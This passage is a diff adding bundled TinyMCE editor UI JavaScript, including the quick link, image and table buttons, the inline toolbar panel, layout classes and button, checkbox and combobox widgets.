+    }
+  };
+  var addToEditor = function (editor, panel) {
+    editor.addButton('quicklink', {
+      icon: 'link',
+      tooltip: 'Insert/Edit link',
+      stateSelector: 'a[href]',
+      onclick: function () {
+        panel.showForm(editor, 'quicklink');
+      }
+    });
+    editor.addButton('quickimage', {
+      icon: 'image',
+      tooltip: 'Insert image',
+      onclick: function () {
+        $_edjfwb19kjjgwek5a.pickFile().then(function (files) {
+          var blob = files[0];
+          $_c292419ejjgwek4z.blobToBase64(blob).then(function (base64) {
+            $_elxm3u19ljjgwek5d.insertBlob(editor, base64, blob);
+          });
+        });
+      }
+    });
+    editor.addButton('quicktable', {
+      icon: 'table',
+      tooltip: 'Insert table',
+      onclick: function () {
+        panel.hide();
+        $_elxm3u19ljjgwek5d.insertTable(editor, 2, 2);
+      }
+    });
+    addHeaderButtons(editor);
+  };
+  var $_epdxt419djjgwek4l = { addToEditor: addToEditor };
+
+  var getUiContainerDelta$1 = function () {
+    var uiContainer = global$1.container;
+    if (uiContainer && global$2.DOM.getStyle(uiContainer, 'position', true) !== 'static') {
+      var containerPos = global$2.DOM.getPos(uiContainer);
+      var dx = containerPos.x - uiContainer.scrollLeft;
+      var dy = containerPos.y - uiContainer.scrollTop;
+      return Option.some({
+        x: dx,
+        y: dy
+      });
+    } else {
+      return Option.none();
+    }
+  };
+  var $_9hbv4x19sjjgwek5q = { getUiContainerDelta: getUiContainerDelta$1 };
+
+  var isDomainLike = function (href) {
+    return /^www\.|\.(com|org|edu|gov|uk|net|ca|de|jp|fr|au|us|ru|ch|it|nl|se|no|es|mil)$/i.test(href.trim());
+  };
+  var isAbsolute = function (href) {
+    return /^https?:\/\//.test(href.trim());
+  };
+  var $_5y05uk19ujjgwek5w = {
+    isDomainLike: isDomainLike,
+    isAbsolute: isAbsolute
+  };
+
+  var focusFirstTextBox = function (form) {
+    form.find('textbox').eq(0).each(function (ctrl) {
+      ctrl.focus();
+    });
+  };
+  var createForm = function (name, spec) {
+    var form = global$11.create(global$4.extend({
+      type: 'form',
+      layout: 'flex',
+      direction: 'row',
+      padding: 5,
+      name: name,
+      spacing: 3
+    }, spec));
+    form.on('show', function () {
+      focusFirstTextBox(form);
+    });
+    return form;
+  };
+  var toggleVisibility = function (ctrl, state) {
+    return state ? ctrl.show() : ctrl.hide();
+  };
+  var askAboutPrefix = function (editor, href) {
+    return new global$12(function (resolve) {
+      editor.windowManager.confirm('The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (result) {
+        var output = result === true ? 'http://' + href : href;
+        resolve(output);
+      });
+    });
+  };
+  var convertLinkToAbsolute = function (editor, href) {
+    return !$_5y05uk19ujjgwek5w.isAbsolute(href) && $_5y05uk19ujjgwek5w.isDomainLike(href) ? askAboutPrefix(editor, href) : global$12.resolve(href);
+  };
+  var createQuickLinkForm = function (editor, hide) {
+    var attachState = {};
+    var unlink = function () {
+      editor.focus();
+      $_elxm3u19ljjgwek5d.unlink(editor);
+      hide();
+    };
+    var onChangeHandler = function (e) {
+      var meta = e.meta;
+      if (meta && meta.attach) {
+        attachState = {
+          href: this.value(),
+          attach: meta.attach
+        };
+      }
+    };
+    var onShowHandler = function (e) {
+      if (e.control === this) {
+        var elm = void 0, linkurl = '';
+        elm = editor.dom.getParent(editor.selection.getStart(), 'a[href]');
+        if (elm) {
+          linkurl = editor.dom.getAttrib(elm, 'href');
+        }
+        this.fromJSON({ linkurl: linkurl });
+        toggleVisibility(this.find('#unlink'), elm);
+        this.find('#linkurl')[0].focus();
+      }
+    };
+    return createForm('quicklink', {
+      items: [
+        {
+          type: 'button',
+          name: 'unlink',
+          icon: 'unlink',
+          onclick: unlink,
+          tooltip: 'Remove link'
+        },
+        {
+          type: 'filepicker',
+          name: 'linkurl',
+          placeholder: 'Paste or type a link',
+          filetype: 'file',
+          onchange: onChangeHandler
+        },
+        {
+          type: 'button',
+          icon: 'checkmark',
+          subtype: 'primary',
+          tooltip: 'Ok',
+          onclick: 'submit'
+        }
+      ],
+      onshow: onShowHandler,
+      onsubmit: function (e) {
+        convertLinkToAbsolute(editor, e.data.linkurl).then(function (url) {
+          editor.undoManager.transact(function () {
+            if (url === attachState.href) {
+              attachState.attach();
+              attachState = {};
+            }
+            $_elxm3u19ljjgwek5d.createLink(editor, url);
+          });
+          hide();
+        });
+      }
+    });
+  };
+  var $_amewps19tjjgwek5t = { createQuickLinkForm: createQuickLinkForm };
+
+  var getSelectorStateResult = function (itemName, item) {
+    var result = function (selector, handler) {
+      return {
+        selector: selector,
+        handler: handler
+      };
+    };
+    var activeHandler = function (state) {
+      item.active(state);
+    };
+    var disabledHandler = function (state) {
+      item.disabled(state);
+    };
+    if (item.settings.stateSelector) {
+      return result(item.settings.stateSelector, activeHandler);
+    }
+    if (item.settings.disabledStateSelector) {
+      return result(item.settings.disabledStateSelector, disabledHandler);
+    }
+    return null;
+  };
+  var bindSelectorChanged = function (editor, itemName, item) {
+    return function () {
+      var result = getSelectorStateResult(itemName, item);
+      if (result !== null) {
+        editor.selection.selectorChanged(result.selector, result.handler);
+      }
+    };
+  };
+  var itemsToArray$1 = function (items) {
+    if ($_e4npq318ajjgwejzo.isArray(items)) {
+      return items;
+    } else if ($_e4npq318ajjgwejzo.isString(items)) {
+      return items.split(/[ ,]/);
+    }
+    return [];
+  };
+  var create$2 = function (editor, name, items) {
+    var toolbarItems = [];
+    var buttonGroup;
+    if (!items) {
+      return;
+    }
+    global$4.each(itemsToArray$1(items), function (item) {
+      if (item === '|') {
+        buttonGroup = null;
+      } else {
+        if (editor.buttons[item]) {
+          if (!buttonGroup) {
+            buttonGroup = {
+              type: 'buttongroup',
+              items: []
+            };
+            toolbarItems.push(buttonGroup);
+          }
+          var button = editor.buttons[item];
+          if ($_e4npq318ajjgwejzo.isFunction(button)) {
+            button = button();
+          }
+          button.type = button.type || 'button';
+          button = global$11.create(button);
+          button.on('postRender', bindSelectorChanged(editor, item, button));
+          buttonGroup.items.push(button);
+        }
+      }
+    });
+    return global$11.create({
+      type: 'toolbar',
+      layout: 'flow',
+      name: name,
+      items: toolbarItems
+    });
+  };
+  var $_797pa819vjjgwek5x = { create: create$2 };
+
+  var create$3 = function () {
+    var panel, currentRect;
+    var createToolbars = function (editor, toolbars) {
+      return global$4.map(toolbars, function (toolbar) {
+        return $_797pa819vjjgwek5x.create(editor, toolbar.id, toolbar.items);
+      });
+    };
+    var hasToolbarItems = function (toolbar) {
+      return toolbar.items().length > 0;
+    };
+    var create = function (editor, toolbars) {
+      var items = createToolbars(editor, toolbars).concat([
+        $_797pa819vjjgwek5x.create(editor, 'text', $_4j2h42187jjgwejzk.getTextSelectionToolbarItems(editor)),
+        $_797pa819vjjgwek5x.create(editor, 'insert', $_4j2h42187jjgwejzk.getInsertToolbarItems(editor)),
+        $_amewps19tjjgwek5t.createQuickLinkForm(editor, hide)
+      ]);
+      return global$11.create({
+        type: 'floatpanel',
+        role: 'dialog',
+        classes: 'tinymce tinymce-inline arrow',
+        ariaLabel: 'Inline toolbar',
+        layout: 'flex',
+        direction: 'column',
+        align: 'stretch',
+        autohide: false,
+        autofix: true,
+        fixed: true,
+        border: 1,
+        items: global$4.grep(items, hasToolbarItems),
+        oncancel: function () {
+          editor.focus();
+        }
+      });
+    };
+    var showPanel = function (panel) {
+      if (panel) {
+        panel.show();
+      }
+    };
+    var movePanelTo = function (panel, pos) {
+      panel.moveTo(pos.x, pos.y);
+    };
+    var togglePositionClass = function (panel, relPos) {
+      relPos = relPos ? relPos.substr(0, 2) : '';
+      global$4.each({
+        t: 'down',
+        b: 'up',
+        c: 'center'
+      }, function (cls, pos) {
+        panel.classes.toggle('arrow-' + cls, pos === relPos.substr(0, 1));
+      });
+      if (relPos === 'cr') {
+        panel.classes.toggle('arrow-left', true);
+        panel.classes.toggle('arrow-right', false);
+      } else if (relPos === 'cl') {
+        panel.classes.toggle('arrow-left', true);
+        panel.classes.toggle('arrow-right', true);
+      } else {
+        global$4.each({
+          l: 'left',
+          r: 'right'
+        }, function (cls, pos) {
+          panel.classes.toggle('arrow-' + cls, pos === relPos.substr(1, 1));
+        });
+      }
+    };
+    var showToolbar = function (panel, id) {
+      var toolbars = panel.items().filter('#' + id);
+      if (toolbars.length > 0) {
+        toolbars[0].show();
+        panel.reflow();
+        return true;
+      }
+      return false;
+    };
+    var repositionPanelAt = function (panel, id, editor, targetRect) {
+      var contentAreaRect, panelRect, result, userConstainHandler;
+      userConstainHandler = $_4j2h42187jjgwejzk.getPositionHandler(editor);
+      contentAreaRect = $_51qgo2180jjgwejzb.getContentAreaRect(editor);
+      panelRect = global$2.DOM.getRect(panel.getEl());
+      if (id === 'insert') {
+        result = $_gir42l18bjjgwejzq.calcInsert(targetRect, contentAreaRect, panelRect);
+      } else {
+        result = $_gir42l18bjjgwejzq.calc(targetRect, contentAreaRect, panelRect);
+      }
+      if (result) {
+        var delta = $_9hbv4x19sjjgwek5q.getUiContainerDelta().getOr({
+          x: 0,
+          y: 0
+        });
+        var transposedPanelRect = {
+          x: result.rect.x - delta.x,
+          y: result.rect.y - delta.y,
+          w: result.rect.w,
+          h: result.rect.h
+        };
+        currentRect = targetRect;
+        movePanelTo(panel, $_gir42l18bjjgwejzq.userConstrain(userConstainHandler, targetRect, contentAreaRect, transposedPanelRect));
+        togglePositionClass(panel, result.position);
+        return true;
+      } else {
+        return false;
+      }
+    };
+    var showPanelAt = function (panel, id, editor, targetRect) {
+      showPanel(panel);
+      panel.items().hide();
+      if (!showToolbar(panel, id)) {
+        hide();
+        return;
+      }
+      if (repositionPanelAt(panel, id, editor, targetRect) === false) {
+        hide();
+      }
+    };
+    var hasFormVisible = function () {
+      return panel.items().filter('form:visible').length > 0;
+    };
+    var showForm = function (editor, id) {
+      if (panel) {
+        panel.items().hide();
+        if (!showToolbar(panel, id)) {
+          hide();
+          return;
+        }
+        var contentAreaRect = void 0, panelRect = void 0, result = void 0, userConstainHandler = void 0;
+        showPanel(panel);
+        panel.items().hide();
+        showToolbar(panel, id);
+        userConstainHandler = $_4j2h42187jjgwejzk.getPositionHandler(editor);
+        contentAreaRect = $_51qgo2180jjgwejzb.getContentAreaRect(editor);
+        panelRect = global$2.DOM.getRect(panel.getEl());
+        result = $_gir42l18bjjgwejzq.calc(currentRect, contentAreaRect, panelRect);
+        if (result) {
+          panelRect = result.rect;
+          movePanelTo(panel, $_gir42l18bjjgwejzq.userConstrain(userConstainHandler, currentRect, contentAreaRect, panelRect));
+          togglePositionClass(panel, result.position);
+        }
+      }
+    };
+    var show = function (editor, id, targetRect, toolbars) {
+      if (!panel) {
+        $_77u64d186jjgwejzi.fireBeforeRenderUI(editor);
+        panel = create(editor, toolbars);
+        panel.renderTo().reflow().moveTo(targetRect.x, targetRect.y);
+        editor.nodeChanged();
+      }
+      showPanelAt(panel, id, editor, targetRect);
+    };
+    var reposition = function (editor, id, targetRect) {
+      if (panel) {
+        repositionPanelAt(panel, id, editor, targetRect);
+      }
+    };
+    var hide = function () {
+      if (panel) {
+        panel.hide();
+      }
+    };
+    var focus = function () {
+      if (panel) {
+        panel.find('toolbar:visible').eq(0).each(function (item) {
+          item.focus(true);
+        });
+      }
+    };
+    var remove = function () {
+      if (panel) {
+        panel.remove();
+        panel = null;
+      }
+    };
+    var inForm = function () {
+      return panel && panel.visible() && hasFormVisible();
+    };
+    return {
+      show: show,
+      showForm: showForm,
+      reposition: reposition,
+      inForm: inForm,
+      hide: hide,
+      focus: focus,
+      remove: remove
+    };
+  };
+
+  var Layout$1 = global$8.extend({
+    Defaults: {
+      firstControlClass: 'first',
+      lastControlClass: 'last'
+    },
+    init: function (settings) {
+      this.settings = global$4.extend({}, this.Defaults, settings);
+    },
+    preRender: function (container) {
+      container.bodyClasses.add(this.settings.containerClass);
+    },
+    applyClasses: function (items) {
+      var self = this;
+      var settings = self.settings;
+      var firstClass, lastClass, firstItem, lastItem;
+      firstClass = settings.firstControlClass;
+      lastClass = settings.lastControlClass;
+      items.each(function (item) {
+        item.classes.remove(firstClass).remove(lastClass).add(settings.controlClass);
+        if (item.visible()) {
+          if (!firstItem) {
+            firstItem = item;
+          }
+          lastItem = item;
+        }
+      });
+      if (firstItem) {
+        firstItem.classes.add(firstClass);
+      }
+      if (lastItem) {
+        lastItem.classes.add(lastClass);
+      }
+    },
+    renderHtml: function (container) {
+      var self = this;
+      var html = '';
+      self.applyClasses(container.items());
+      container.items().each(function (item) {
+        html += item.renderHtml();
+      });
+      return html;
+    },
+    recalc: function () {
+    },
+    postRender: function () {
+    },
+    isNative: function () {
+      return false;
+    }
+  });
+
+  var AbsoluteLayout = Layout$1.extend({
+    Defaults: {
+      containerClass: 'abs-layout',
+      controlClass: 'abs-layout-item'
+    },
+    recalc: function (container) {
+      container.items().filter(':visible').each(function (ctrl) {
+        var settings = ctrl.settings;
+        ctrl.layoutRect({
+          x: settings.x,
+          y: settings.y,
+          w: settings.w,
+          h: settings.h
+        });
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+      });
+    },
+    renderHtml: function (container) {
+      return '<div id="' + container._id + '-absend" class="' + container.classPrefix + 'abs-end"></div>' + this._super(container);
+    }
+  });
+
+  var Button = Widget.extend({
+    Defaults: {
+      classes: 'widget btn',
+      role: 'button'
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      var size;
+      self$$1._super(settings);
+      settings = self$$1.settings;
+      size = self$$1.settings.size;
+      self$$1.on('click mousedown', function (e) {
+        e.preventDefault();
+      });
+      self$$1.on('touchstart', function (e) {
+        self$$1.fire('click', e);
+        e.preventDefault();
+      });
+      if (settings.subtype) {
+        self$$1.classes.add(settings.subtype);
+      }
+      if (size) {
+        self$$1.classes.add('btn-' + size);
+      }
+      if (settings.icon) {
+        self$$1.icon(settings.icon);
+      }
+    },
+    icon: function (icon) {
+      if (!arguments.length) {
+        return this.state.get('icon');
+      }
+      this.state.set('icon', icon);
+      return this;
+    },
+    repaint: function () {
+      var btnElm = this.getEl().firstChild;
+      var btnStyle;
+      if (btnElm) {
+        btnStyle = btnElm.style;
+        btnStyle.width = btnStyle.height = '100%';
+      }
+      this._super();
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, prefix = self$$1.classPrefix;
+      var icon = self$$1.state.get('icon'), image;
+      var text = self$$1.state.get('text');
+      var textHtml = '';
+      var ariaPressed;
+      var settings = self$$1.settings;
+      image = settings.image;
+      if (image) {
+        icon = 'none';
+        if (typeof image !== 'string') {
+          image = window.getSelection ? image[0] : image[1];
+        }
+        image = ' style="background-image: url(\'' + image + '\')"';
+      } else {
+        image = '';
+      }
+      if (text) {
+        self$$1.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self$$1.encode(text) + '</span>';
+      }
+      icon = icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+      ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
+      return '<div id="' + id + '" class="' + self$$1.classes + '" tabindex="-1"' + ariaPressed + '>' + '<button id="' + id + '-button" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '</div>';
+    },
+    bindStates: function () {
+      var self$$1 = this, $ = self$$1.$, textCls = self$$1.classPrefix + 'txt';
+      function setButtonText(text) {
+        var $span = $('span.' + textCls, self$$1.getEl());
+        if (text) {
+          if (!$span[0]) {
+            $('button:first', self$$1.getEl()).append('<span class="' + textCls + '"></span>');
+            $span = $('span.' + textCls, self$$1.getEl());
+          }
+          $span.html(self$$1.encode(text));
+        } else {
+          $span.remove();
+        }
+        self$$1.classes.toggle('btn-has-text', !!text);
+      }
+      self$$1.state.on('change:text', function (e) {
+        setButtonText(e.value);
+      });
+      self$$1.state.on('change:icon', function (e) {
+        var icon = e.value;
+        var prefix = self$$1.classPrefix;
+        self$$1.settings.icon = icon;
+        icon = icon ? prefix + 'ico ' + prefix + 'i-' + self$$1.settings.icon : '';
+        var btnElm = self$$1.getEl().firstChild;
+        var iconElm = btnElm.getElementsByTagName('i')[0];
+        if (icon) {
+          if (!iconElm || iconElm !== btnElm.firstChild) {
+            iconElm = document.createElement('i');
+            btnElm.insertBefore(iconElm, btnElm.firstChild);
+          }
+          iconElm.className = icon;
+        } else if (iconElm) {
+          btnElm.removeChild(iconElm);
+        }
+        setButtonText(self$$1.state.get('text'));
+      });
+      return self$$1._super();
+    }
+  });
+
+  var BrowseButton = Button.extend({
+    init: function (settings) {
+      var self = this;
+      settings = global$4.extend({
+        text: 'Browse...',
+        multiple: false,
+        accept: null
+      }, settings);
+      self._super(settings);
+      self.classes.add('browsebutton');
+      if (settings.multiple) {
+        self.classes.add('multiple');
+      }
+    },
+    postRender: function () {
+      var self = this;
+      var input = funcs.create('input', {
+        type: 'file',
+        id: self._id + '-browse',
+        accept: self.settings.accept
+      });
+      self._super();
+      global$7(input).on('change', function (e) {
+        var files = e.target.files;
+        self.value = function () {
+          if (!files.length) {
+            return null;
+          } else if (self.settings.multiple) {
+            return files;
+          } else {
+            return files[0];
+          }
+        };
+        e.preventDefault();
+        if (files.length) {
+          self.fire('change', e);
+        }
+      });
+      global$7(input).on('click', function (e) {
+        e.stopPropagation();
+      });
+      global$7(self.getEl('button')).on('click', function (e) {
+        e.stopPropagation();
+        input.click();
+      });
+      self.getEl().appendChild(input);
+    },
+    remove: function () {
+      global$7(this.getEl('button')).off();
+      global$7(this.getEl('input')).off();
+      this._super();
+    }
+  });
+
+  var ButtonGroup = Container.extend({
+    Defaults: {
+      defaultType: 'button',
+      role: 'group'
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout;
+      self.classes.add('btn-group');
+      self.preRender();
+      layout.preRender(self);
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
+    }
+  });
+
+  var Checkbox = Widget.extend({
+    Defaults: {
+      classes: 'checkbox',
+      role: 'checkbox',
+      checked: false
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      self$$1.on('click mousedown', function (e) {
+        e.preventDefault();
+      });
+      self$$1.on('click', function (e) {
+        e.preventDefault();
+        if (!self$$1.disabled()) {
+          self$$1.checked(!self$$1.checked());
+        }
+      });
+      self$$1.checked(self$$1.settings.checked);
+    },
+    checked: function (state) {
+      if (!arguments.length) {
+        return this.state.get('checked');
+      }
+      this.state.set('checked', state);
+      return this;
+    },
+    value: function (state) {
+      if (!arguments.length) {
+        return this.checked();
+      }
+      return this.checked(state);
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, prefix = self$$1.classPrefix;
+      return '<div id="' + id + '" class="' + self$$1.classes + '" unselectable="on" aria-labelledby="' + id + '-al" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-checkbox"></i>' + '<span id="' + id + '-al" class="' + prefix + 'label">' + self$$1.encode(self$$1.state.get('text')) + '</span>' + '</div>';
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      function checked(state) {
+        self$$1.classes.toggle('checked', state);
+        self$$1.aria('checked', state);
+      }
+      self$$1.state.on('change:text', function (e) {
+        self$$1.getEl('al').firstChild.data = self$$1.translate(e.value);
+      });
+      self$$1.state.on('change:checked change:value', function (e) {
+        self$$1.fire('change');
+        checked(e.value);
+      });
+      self$$1.state.on('change:icon', function (e) {
+        var icon = e.value;
+        var prefix = self$$1.classPrefix;
+        if (typeof icon === 'undefined') {
+          return self$$1.settings.icon;
+        }
+        self$$1.settings.icon = icon;
+        icon = icon ? prefix + 'ico ' + prefix + 'i-' + self$$1.settings.icon : '';
+        var btnElm = self$$1.getEl().firstChild;
+        var iconElm = btnElm.getElementsByTagName('i')[0];
+        if (icon) {
+          if (!iconElm || iconElm !== btnElm.firstChild) {
+            iconElm = document.createElement('i');
+            btnElm.insertBefore(iconElm, btnElm.firstChild);
+          }
+          iconElm.className = icon;
+        } else if (iconElm) {
+          btnElm.removeChild(iconElm);
+        }
+      });
+      if (self$$1.state.get('checked')) {
+        checked(true);
+      }
+      return self$$1._super();
+    }
+  });
+
+  var global$15 = tinymce.util.Tools.resolve('tinymce.util.VK');
+
+  var ComboBox = Widget.extend({
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      settings = self$$1.settings;
+      self$$1.classes.add('combobox');
+      self$$1.subinput = true;
+      self$$1.ariaTarget = 'inp';
+      settings.menu = settings.menu || settings.values;
+      if (settings.menu) {
+        settings.icon = 'caret';
+      }
+      self$$1.on('click', function (e) {
+        var elm = e.target;
+        var root = self$$1.getEl();
+        if (!global$7.contains(root, elm) && elm !== root) {
+          return;
+        }
+        while (elm && elm !== root) {
+          if (elm.id && elm.id.indexOf('-open') !== -1) {
+            self$$1.fire('action');
+            if (settings.menu) {
+              self$$1.showMenu();
+              if (e.aria) {
+                self$$1.menu.items()[0].focus();
+              }
+            }
+          }
+          elm = elm.parentNode;
+        }
+      });
+      self$$1.on('keydown', function (e) {
+        var rootControl;
+        if (e.keyCode === 13 && e.target.nodeName === 'INPUT') {
+          e.preventDefault();
+          self$$1.parents().reverse().each(function (ctrl) {
+            if (ctrl.toJSON) {
+              rootControl = ctrl;
+              return false;
+            }
+          });
+          self$$1.fire('submit', { data: rootControl.toJSON() });
+        }
+      });
+      self$$1.on('keyup', function (e) {
+        if (e.target.nodeName === 'INPUT') {
+          var oldValue = self$$1.state.get('value');
+          var newValue = e.target.value;
+          if (newValue !== oldValue) {
+            self$$1.state.set('value', newValue);
+            self$$1.fire('autocomplete', e);
+          }
+        }
+      });
+      self$$1.on('mouseover', function (e) {
+        var tooltip = self$$1.tooltip().moveTo(-65535);
+        if (self$$1.statusLevel() && e.target.className.indexOf(self$$1.classPrefix + 'status') !== -1) {
+          var statusMessage = self$$1.statusMessage() || 'Ok';
+          var rel = tooltip.text(statusMessage).show().testMoveRel(e.target, [
+            'bc-tc',
+            'bc-tl',
+            'bc-tr'
+          ]);
+          tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
+          tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
+          tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
+          tooltip.moveRel(e.target, rel);
+        }
+      });
+    },
+    statusLevel: function (value) {
+      if (arguments.length > 0) {
+        this.state.set('statusLevel', value);
+      }
+      return this.state.get('statusLevel');
+    },
+    statusMessage: function (value) {
+      if (arguments.length > 0) {
+        this.state.set('statusMessage', value);
+      }
+      return this.state.get('statusMessage');
+    },
+    showMenu: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var menu;
+      if (!self$$1.menu) {
+        menu = settings.menu || [];
+        if (menu.length) {
+          menu = {
+            type: 'menu',
+            items: menu
+          };
+        } else {
+          menu.type = menu.type || 'menu';
+        }
+        self$$1.menu = global$11.create(menu).parent(self$$1).renderTo(self$$1.getContainerElm());
+        self$$1.fire('createmenu');
+        self$$1.menu.reflow();
+        self$$1.menu.on('cancel', function (e) {
+          if (e.control === self$$1.menu) {
+            self$$1.focus();
+          }
+        });
+        self$$1.menu.on('show hide', function (e) {
+          e.control.items().each(function (ctrl) {
+            ctrl.active(ctrl.value() === self$$1.value());
+          });
+        }).fire('show');
+        self$$1.menu.on('select', function (e) {
+          self$$1.value(e.control.value());
+        });
+        self$$1.on('focusin', function (e) {
+          if (e.target.tagName.toUpperCase() === 'INPUT') {
+            self$$1.menu.hide();
+          }
+        });
+        self$$1.aria('expanded', true);
+      }
+      self$$1.menu.show();
+      self$$1.menu.layoutRect({ w: self$$1.layoutRect().w });
+      self$$1.menu.moveRel(self$$1.getEl(), self$$1.isRtl() ? [
+        'br-tr',
+        'tr-br'
+      ] : [
+        'bl-tl',
+        'tl-bl'
+      ]);
+    },
+    focus: function () {
+      this.getEl('inp').focus();
+    },
+    repaint: function () {
+      var self$$1 = this, elm = self$$1.getEl(), openElm = self$$1.getEl('open'), rect = self$$1.layoutRect();
+      var width, lineHeight, innerPadding = 0;
+      var inputElm = elm.firstChild;
+      if (self$$1.statusLevel() && self$$1.statusLevel() !== 'none') {
+        innerPadding = parseInt(funcs.getRuntimeStyle(inputElm, 'padding-right'), 10) - parseInt(funcs.getRuntimeStyle(inputElm, 'padding-left'), 10);
+      }
+      if (openElm) {
+        width = rect.w - funcs.getSize(openElm).width - 10;
+      } else {
+        width = rect.w - 10;
+      }
+      var doc = document;
+      if (doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
+        lineHeight = self$$1.layoutRect().h - 2 + 'px';
+      }
+      global$7(inputElm).css({
+        width: width - innerPadding,
+        lineHeight: lineHeight
+      });
+      self$$1._super();
+      return self$$1;
+    },
+    postRender: function () {
+      var self$$1 = this;
+      global$7(this.getEl('inp')).on('change', function (e) {
+        self$$1.state.set('value', e.target.value);
+        self$$1.fire('change', e);
+      });
+      return self$$1._super();
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, settings = self$$1.settings, prefix = self$$1.classPrefix;
+      var value = self$$1.state.get('value') || '';
+      var icon, text, openBtnHtml = '', extraAttrs = '', statusHtml = '';
+      if ('spellcheck' in settings) {
+        extraAttrs += ' spellcheck="' + settings.spellcheck + '"';
+      }
+      if (settings.maxLength) {
+        extraAttrs += ' maxlength="' + settings.maxLength + '"';
+      }
+      if (settings.size) {
+        extraAttrs += ' size="' + settings.size + '"';
+      }
+      if (settings.subtype) {
+        extraAttrs += ' type="' + settings.subtype + '"';
+      }
+      statusHtml = '<i id="' + id + '-status" class="mce-status mce-ico" style="display: none"></i>';
+      if (self$$1.disabled()) {
+        extraAttrs += ' disabled="disabled"';
+      }
+      icon = settings.icon;
+      if (icon && icon !== 'caret') {
+        icon = prefix + 'ico ' + prefix + 'i-' + settings.icon;
+      }
+      text = self$$1.state.get('text');
+      if (icon || text) {
+        openBtnHtml = '<div id="' + id + '-open" class="' + prefix + 'btn ' + prefix + 'open" tabIndex="-1" role="button">' + '<button id="' + id + '-action" type="button" hidefocus="1" tabindex="-1">' + (icon !== 'caret' ? '<i class="' + icon + '"></i>' : '<i class="' + prefix + 'caret"></i>') + (text ? (icon ? ' ' : '') + text : '') + '</button>' + '</div>';
+        self$$1.classes.add('has-open');
+      }
+      return '<div id="' + id + '" class="' + self$$1.classes + '">' + '<input id="' + id + '-inp" class="' + prefix + 'textbox" value="' + self$$1.encode(value, false) + '" hidefocus="1"' + extraAttrs + ' placeholder="' + self$$1.encode(settings.placeholder) + '" />' + statusHtml + openBtnHtml + '</div>';
+    },
+    value: function (value) {
+      if (arguments.length) {
+        this.state.set('value', value);
+        return this;
+      }
+      if (this.state.get('rendered')) {
+        this.state.set('value', this.getEl('inp').value);
+      }
+      return this.state.get('value');
+    },
+    showAutoComplete: function (items, term) {
+      var self$$1 = this;
+      if (items.length === 0) {
+        self$$1.hideMenu();
+        return;
+      }
+      var insert = function (value, title) {
+        return function () {
+          self$$1.fire('selectitem', {
+            title: title,
+            value: value
+          });
+        };
+      };
+      if (self$$1.menu) {
+        self$$1.menu.items().remove();
+      } else {
+        self$$1.menu = global$11.create({
+          type: 'menu',
+          classes: 'combobox-menu',
+          layout: 'flow'
+        }).parent(self$$1).renderTo();
+      }
+      global$4.each(items, function (item) {
+        self$$1.menu.add({
+          text: item.title,
+          url: item.previewUrl,
+          match: term,
+          classes: 'menu-item-ellipsis',
+          onclick: insert(item.value, item.title)
+        });
+      });
+      self$$1.menu.renderNew();
+      self$$1.hideMenu();
+      self$$1.menu.on('cancel', function (e) {
+        if (e.control.parent() === self$$1.menu) {
+          e.stopPropagation();
+          self$$1.focus();
+          self$$1.hideMenu();
+        }
+      });
+      self$$1.menu.on('select', function () {
+        self$$1.focus();
+      });
+      var maxW = self$$1.layoutRect().w;
+      self$$1.menu.layoutRect({
+        w: maxW,
+        minW: 0,
+        maxW: maxW
+      });
+      self$$1.menu.repaint();
+      self$$1.menu.reflow();
+      self$$1.menu.show();
+      self$$1.menu.moveRel(self$$1.getEl(), self$$1.isRtl() ? [
+        'br-tr',
+        'tr-br'
+      ] : [
+        'bl-tl',
+        'tl-bl'
+      ]);
+    },
+    hideMenu: function () {
+      if (this.menu) {
+        this.menu.hide();
+      }
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      self$$1.state.on('change:value', function (e) {
+        if (self$$1.getEl('inp').value !== e.value) {
+          self$$1.getEl('inp').value = e.value;
+        }
+      });
+      self$$1.state.on('change:disabled', function (e) {
+        self$$1.getEl('inp').disabled = e.value;
+      });
+      self$$1.state.on('change:statusLevel', function (e) {
+        var statusIconElm = self$$1.getEl('status');
+        var prefix = self$$1.classPrefix, value = e.value;
+        funcs.css(statusIconElm, 'display', value === 'none' ? 'none' : '');
+        funcs.toggleClass(statusIconElm, prefix + 'i-checkmark', value === 'ok');
+        funcs.toggleClass(statusIconElm, prefix + 'i-warning', value === 'warn');
+        funcs.toggleClass(statusIconElm, prefix + 'i-error', value === 'error');
+        self$$1.classes.toggle('has-status', value !== 'none');
+        self$$1.repaint();
+      });
+      funcs.on(self$$1.getEl('status'), 'mouseleave', function () {
+        self$$1.tooltip().hide();
+      });
+      self$$1.on('cancel', function (e) {
+        if (self$$1.menu && self$$1.menu.visible()) {
+          e.stopPropagation();
+          self$$1.hideMenu();
+        }
+      });
+      var focusIdx = function (idx, menu) {
+        if (menu && menu.items().length > 0) {
+          menu.items().eq(idx)[0].focus();
+        }
+      };
+      self$$1.on('keydown', function (e) {
+        var keyCode = e.keyCode;
+        if (e.target.nodeName === 'INPUT') {
+          if (keyCode === global$15.DOWN) {
+            e.preventDefault();
+            self$$1.fire('autocomplete');
+            focusIdx(0, self$$1.menu);
+          } else if (keyCode === global$15.UP) {
+            e.preventDefault();
+            focusIdx(-1, self$$1.menu);
